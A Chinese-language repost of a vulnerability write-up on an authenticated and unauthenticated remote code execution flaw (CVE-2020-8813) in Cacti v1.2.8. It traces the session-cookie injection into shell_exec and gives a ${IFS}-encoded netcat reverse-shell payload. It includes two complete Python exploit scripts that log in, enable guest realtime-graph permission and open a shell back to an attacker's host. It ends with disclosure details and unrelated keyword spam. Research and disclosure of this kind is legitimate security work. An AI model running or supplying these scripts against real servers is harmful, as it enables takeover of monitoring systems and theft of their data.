千家信息网

如何进行Cacti v1.2.8 中经过身份验证的RCE漏洞分析

发表于:2026-10-30 作者:千家信息网编辑
千家信息网最后更新 2026年10月30日,如何进行Cacti v1.2.8 中经过身份验证的RCE漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。关于Cac
千家信息网最后更新 2026年10月30日如何进行Cacti v1.2.8 中经过身份验证的RCE漏洞分析

如何进行Cacti v1.2.8 中经过身份验证的RCE漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

关于Cacti

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。

cacti是用php语言实现的一个软件,它的主要功能是用snmp服务获取数据,然后用rrdtool储存和更新数据,当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此,snmp和rrdtool是cacti的关键。Snmp关系着数据的收集,rrdtool关系着数据存储和图表的生成。

漏洞利用分析

我在分析Cacti主要代码中的多个功能函数时,发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行,当攻击者尝试向"Cacti"这个Cookie变量中注入恶意代码时,便会触发这个漏洞,而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题,而这个问题使我无法访问到目标页面,但是我发现这个包含漏洞的页面是能够以"Guest"身份访问的,这样就不需要进行身份验证了,所以我修改了漏洞利用代码,并使用"Guest"身份来访问页面"graph_realtime.php",然后发送恶意请求来在目标主机上实现代码执行。

首先,我们需要向"user_admin.php"页面发送一个请求来启用"realtime_graph"的访客权限,然后再向"graph_realtime.php"页面发送恶意请求。

接下来,我使用了这个常用的RCE扫描脚本【RECScanner】来在Cacti中搜索RCE漏洞。

运行脚本后,我在"graph_realtime.php"文件中发现了一个非常有意思的东西:

graph_realtime.php

/* call poller */$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';$command   = read_config_option('path_php_binary');$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);shell_exec("$command $args");/* construct the image name  */$graph_data_array['export_realtime'] = $graph_rrd;$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;$null_param = array();

我们可以看到上述代码中的第4和第5行,我们收到了一些参数,还有一个名叫"get_request_var"的函数,该函数的作用如下:

html_utility.php

function get_request_var($name, $default = '') {    global $_CACTI_REQUEST;    $log_validation = read_config_option('log_validation');    if (isset($_CACTI_REQUEST[$name])) {        return $_CACTI_REQUEST[$name];    } elseif (isset_request_var($name)) {        if ($log_validation == 'on') {            html_log_input_error($name);        }        set_request_var($name, $_REQUEST[$name]);        return $_REQUEST[$name];    } else {        return $default;    }}

我们可以看到,这个函数可以处理输入数据并通过函数"set_request_var"来设置参数值,而这个函数的相关代码如下:

html_utility.php

function set_request_var($variable, $value) {    global $_CACTI_REQUEST;    $_CACTI_REQUEST[$variable] = $value;    $_REQUEST[$variable]       = $value;    $_POST[$variable]          = $value;    $_GET[$variable]           = $value;}

接下来,回到我们的"graph_realtime.php"页面,我们可以控制下列输入:

local_graph_idThe value of $graph_data_array['ds_step']

但是,我们注意到"graph_realtime.php"文件中的第4行,它使用了sprintf()函数来处理输入,而第一个值"graph"的内容为"local_graph_id",而这个值是我们可以控制的!又但是,一个名叫"get_filter_request_var"的函数会对这个值进行过滤,我们可以看到,它在"graph_realtime.php"中已经被过滤了:

html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {    if (isset_request_var($name)) {        if (isempty_request_var($name)) {            set_request_var($name, get_nfilter_request_var($name));            return get_request_var($name);        } elseif (get_nfilter_request_var($name) == 'undefined') {            if (isset($options['default'])) {                set_request_var($name, $options['default']);                return $options['default'];            } else {                set_request_var($name, '');                return '';            }        } else {            if (get_nfilter_request_var($name) == '0') {                $value = '0';            } elseif (get_nfilter_request_var($name) == 'undefined') {                if (isset($options['default'])) {                    $value = $options['default'];                } else {                    $value = '';                }            } elseif (isempty_request_var($name)) {                $value = '';            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {                if (is_base64_encoded($_REQUEST[$name])) {                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));                }                $valid = validate_is_regex($_REQUEST[$name]);                if ($valid === true) {                    $value = $_REQUEST[$name];                } else {                    $value = false;                    $custom_error = $valid;                }            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {                $valid = true;                if (is_array($_REQUEST[$name])) {                    foreach($_REQUEST[$name] AS $number) {                        if (!is_numeric($number)) {                            $valid = false;                            break;                        }                    }                } else {                    $valid = false;                }                if ($valid == true) {                    $value = $_REQUEST[$name];                } else {                    $value = false;                }            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {                $valid = true;                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);                foreach($values AS $number) {                    if (!is_numeric($number)) {                        $valid = false;                        break;                    }                }                if ($valid == true) {                    $value = $_REQUEST[$name];                } else {                    $value = false;                }            } elseif (!cacti_sizeof($options)) {                $value = filter_var($_REQUEST[$name], $filter);            } else {                $value = filter_var($_REQUEST[$name], $filter, $options);            }        }        if ($value === false) {            if ($filter == FILTER_VALIDATE_IS_REGEX) {                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));                set_request_var($name, '');                raise_message('custom_error');            } else {                die_html_input_error($name, get_nfilter_request_var($name));            }        } else {            set_request_var($name, $value);            return $value;        }    } else {        if (isset($options['default'])) {            set_request_var($name, $options['default']);            return $options['default'];        } else {            return;        }    }}

这个函数将会对输入数据进行过滤,然后返回一个"干净的"变量并传递给下一个函数。

对于第二个变量"$graph_data_array['ds_step']",它已经通过sprintf()进行处理了(%d),这也就意味着它会变成一个十进制值,所以我们无法用它来注入我们的恶意命令。

接下来,我们再看看下面这段代码:

graph_realtime.php

/* call poller */$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';$command   = read_config_option('path_php_binary');$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);shell_exec("$command $args");/* construct the image name  */$graph_data_array['export_realtime'] = $graph_rrd;$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;$null_param = array();

我们看到了另一个传递给shell_exec函数的变量,而这个变量的值就是session_id()函数返回的值,这个函数可以返回当前用户会话的值,也就是说,我们可以用它来注入我们的命令。

等一下,如果我们修改了会话,那我们就无法访问目标页面了,因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现,如果我们启用了一个名叫"Realtime Graphs"的特殊权限之后,我们就能够以访客身份访问这个页面了:

接下来,我们尝试在不开启"Guest Realtime Graphs"权限的情况下访问该页面:

正如我们所见,由于权限问题,我们现在无法访问这个页面,现在我们重新开启该权限,然后访问该页面:

很好,接下来我们发送"graph_realtime.php"页面请求,然后在代码中添加一条"echo"语句来输出传递给shell_exec函数的值:

如图所示,我们将会话打印了出来,接下来我们尝试向会话中注入自定义字符串:

非常好,我们成功实现了注入。

Payload开发

成功控制了会话值之后,我们需要用它来在目标系统中实现代码执行,但由于它本质上还是一个会话值,因此我们无法使用一些特殊字符,所以我们需要开发一个"对会话友好的"Payload。

比如说,如果对字符串"Hi Payload"进行编码,然后传递给应用程序,我们将会看到:

我们可以看到,应用程序设置了一个Cookie给我们,而不是我们所注入的那个,为了解决这个问题,我们需要使用一个自定义的Payload。

为了避免使用空格字符,我打算使用"${IFS}"这个Bash变量来代表一个空格。

当然了,我们还需要使用";"来转义命令:

;payload

如果我们想使用netcat来获取一个Shell,我们还需要创建下列Payload:

;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

我们先对Payload进行编码:

然后将其发送给应用程序:

很好,我们的Payload执行成功了,并拿到了一个Shell。

漏洞利用代码

为了实现整个漏洞利用的自动化过程,我编写了一个Python脚本来利用该漏洞:

#!/usr/bin/python3# Exploit Title: Cacti v1.2.8 Remote Code Execution# Date: 03/02/2020# Exploit Author: Askar (@mohammadaskar2)# CVE: CVE-2020-8813# Vendor Homepage: https://cacti.net/# Version: v1.2.8# Tested on: CentOS 7.3 / PHP 7.1.33import requestsimport sysimport warningsfrom bs4 import BeautifulSoupfrom urllib.parse import quotewarnings.filterwarnings("ignore", category=UserWarning, module='bs4')if len(sys.argv) != 6:    print("[~] Usage : ./Cacti-exploit.py url username password ip port")    exit()url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]ip = sys.argv[4]port = sys.argv[5]def login(token):    login_info = {    "login_username": username,    "login_password": password,    "action": "login",    "__csrf_magic": token    }    login_request = request.post(url+"/index.php", login_info)    login_text = login_request.text    if "Invalid User Name/Password Please Retype" in login_text:        return False    else:        return Truedef enable_guest(token):    request_info = {    "id": "3",    "section25": "on",    "section7": "on",    "tab": "realms",    "save_component_realm_perms": 1,    "action": "save",    "__csrf_magic": token    }    enable_request = request.post(url+"/user_admin.php?header=false", request_info)    if enable_request:        return True    else:        return Falsedef send_exploit():    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)    cookies = {'Cacti': quote(payload)}    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)request = requests.session()print("[+]Retrieving login CSRF token")page = request.get(url+"/index.php")html_content = page.textsoup = BeautifulSoup(html_content, "html5lib")token = soup.findAll('input')[0].get("value")if token:    print("[+]Token Found : %s" % token)    print("[+]Sending creds ..")    login_status = login(token)    if login_status:        print("[+]Successfully LoggedIn")        print("[+]Retrieving CSRF token ..")        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")        html_content = page.text        soup = BeautifulSoup(html_content, "html5lib")        token = soup.findAll('input')[1].get("value")        if token:            print("[+]Making some noise ..")            guest_realtime = enable_guest(token)            if guest_realtime:                print("[+]Sending malicous request, check your nc ;)")                send_exploit()            else:                print("[-]Error while activating the malicous account")        else:            print("[-] Unable to retrieve CSRF token from admin page!")            exit()    else:        print("[-]Cannot Login!")else:    print("[-] Unable to retrieve CSRF token!")exit()

运行了漏洞利用代码之后,我们将会看到:

再一次成功拿到了Shell!

未经身份认证的漏洞利用

如果Cacti启用了"Guest Realtime Graphs"权限,那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码:

#!/usr/bin/python3# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution# Date: 03/02/2020# Exploit Author: Askar (@mohammadaskar2)# CVE: CVE-2020-8813# Vendor Homepage: https://cacti.net/# Version: v1.2.8# Tested on: CentOS 7.3 / PHP 7.1.33import requestsimport sysimport warningsfrom bs4 import BeautifulSoupfrom urllib.parse import quotewarnings.filterwarnings("ignore", category=UserWarning, module='bs4')if len(sys.argv) != 4:    print("[~] Usage : ./Cacti-exploit.py url ip port")    exit()url = sys.argv[1]ip = sys.argv[2]port = sys.argv[3]def send_exploit(url):    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)    cookies = {'Cacti': quote(payload)}    path = url+"/graph_realtime.php?action=init"    req = requests.get(path)    if req.status_code == 200 and "poller_realtime.php" in req.text:        print("[+] File Found and Guest is enabled!")        print("[+] Sending malicous request, check your nc ;)")        requests.get(path, cookies=cookies)    else:        print("[+] Error while requesting the file!")send_exploit(url)

我们可以看到,在这种场景下同样能够成功利用该漏洞。

漏洞披露

在发现该问题之后,我们便将完整的PoC上报给了Cacti的团队,他们也在第一时间修复了该漏洞并发布了漏洞补丁,从Cacti v1.2.10开始将不再受此漏洞的影响。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

漏洞 函数 代码 页面 身份 数据 变量 用户 验证 接下来 权限 成功 字符 问题 分析 功能 恶意 目标 尝试 输入 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网加科技 上海喔噻互联网科技有限公司 互联网科技金融公司 礼当家互联网科技 互联网女皇 腾讯科技 互联网科技咨询 互联网 科技服务平台 互联网公司会议桌创意科技软装饰 知域互联网科技有限公司大骗子 深圳市优智互联网科技有限公司 民营互联网公司国防科技 特约风豹互联网科技为什么扣费 济南有互联网科技公司吗 银行科技岗属于互联网吗 广州百诚互联网科技有限公司官网 风投北京互联网科技 科技互联网行业投资研究 恒生科技互联网指数十大成分股 中国主要互联网科技公司 颐高云石互联网科技 互联网金融监管科技数据 上海互联网科技有限公司 世界互联网领先科技成果 互联网科技网站 互联网科技英文翻译 顺网科技2021年互联网排名 受益于互联网科技的高速发展 佛山市翊博互联网络科技有限公司 南京一网一红互联网科技有限公司 重庆科技产业互联网有哪些
0